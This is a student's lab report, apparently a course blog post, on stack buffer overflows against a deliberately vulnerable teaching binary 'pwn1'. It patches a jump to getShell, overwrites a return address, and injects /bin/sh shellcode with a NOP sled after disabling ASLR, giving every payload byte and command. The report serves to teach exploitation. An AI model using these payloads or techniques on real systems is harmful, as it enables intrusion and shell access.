20212929 2021-2022-2 《网络攻防实践》实践9作业

1实验内容

·手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
·利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
·注入一个自己制作的shellcode并运行这段shellcode。

2实验步骤

2.1直接修改程序机器指令,改编程序执行流程

输入命令objdump -d pwn1 | more,导出这个文件通过|分页显示。

主要的函数有三个getshell、foo、main,蓝色为机器指令在内存中的位置,红色为机器指令,绿色为机器指令对应的反汇编语言。主函数上来就是用的call指令

Call指令为e8,后面四个为要调到的地方,因为call指令EIP指令的地址为下一跳地址,为80484ba,80484ba+ff ff ff d7(补码)=8048491,所以call就是将e8后面4个字节加到EIP上,将804847d-80484ba就可以调到计算之后,只需将d7改为c3即可。

输入命令将d7改为c3,首先打开文件sudo vi pwn1

转化成16进制。:%!xxd

搜索d7命令:/d7

回车之后,按下r,再按下c,右移在按r3

再将16进制转换回去命令:%!xxd -r

保存退出命令:wq

验证命令:objdump -d pwn1 | more

修改成功

运行程序显示成功

2.2通过构造输入参数,造成BOF攻击,改变程序执行流

Foo函数的流程和攻击原理

确认字符串那几个字符会覆盖到返回地址
打开gdb输入1111111122222222333333334444444455555555发现报错,当超过28个时,红色覆盖到EBP,绿色覆盖到EIP。5的ASCLL码为35所以最下面的蓝字是0x35353535。

可以看到eip的值被替换为0x35353535

再次确认一下输入1111111122222222333333334444444412345678
1是31,2是32,3是33,4是34。所以确定了1234那四个字符会跑到eip中,所以要将那四个字符改为0804847d,且小端优先,需要倒着输入
11111111222222223333333344444444\x7d\x84\x04\x08

输出重定向
因为无法输入\x7d\x84\x04\x08,这样的16进制,所以需要prel语言
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

由于无法直接输入

验证一下:xxd input,发现复制不过去

所以通过管道输出:(cat input; cat) | ./pwn1
验证发现已经有getshell了。

2.3注入SHELLCODE并执行

构造要注入的payload
shellcode首地址要放在EIP中0804847d的位置,shellcode则需要放在EIP前或者后面

Linux有两种构造攻击buf的方法:retaaddr+nop+shellcode和nop+shellcode+retaddr

准备工作
关闭地址随机化
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

构造shellcode为滑行区+shellcode+返回地址
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

将input_shellcode 注入pwn1
(cat input_shellcode;cat) | ./pwn1

找到pwn1的进程号:46119
命令ps -ef | grep pwn1

打开gdb,输入attach 46119

再输入disassemble foo,发现在0x080484ae处停止

设置断点:break *0x080484ae,然后在第一个终端按回车,回到第二个输入c

然后在输入info r esp,发现指针位置在0xffffd21c

在输入命令x/16x 0xffffd21c,以16进制显示16个字符,发现输入的01020304再往前找16个字节到fd200,在找4个字节到d1fc,发现0x90909090,地址为0xffffd1fc或者0xffffd200。

0xffffd21c+0x00000004=0xffffd220,在开头倒序输入计算的结果
将\x01\x02\x03\x04\改为\xfc\xd1\xff\xff\x00
输入命令
perl -e 'print "A" x 32;print "\x20\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xfc\xd1\xff\xff\x00"' > input_shellcode1

输入(cat input_shellcode1;cat) | ./pwn1攻击成功。

3问题

pwn1程序只能运行在32位的系统下
解决:ubuntu下输入,可以将64改为32位
sudo dpkg --add-architecture i386
sudo apt install libc6:i386 libstdc++6:i386
sudo apt-get update
sudo apt install libncurses5-dev lib32z1
execstack安装
在ubuntu下输入
sudo apt-get install prelink

4感想

本次实验深入了解了如何进行缓冲区溢出攻击,感觉收获很大。

posted @ 2022-05-12 20:03  浪的飞起  阅读(107)  评论(0编辑  收藏  举报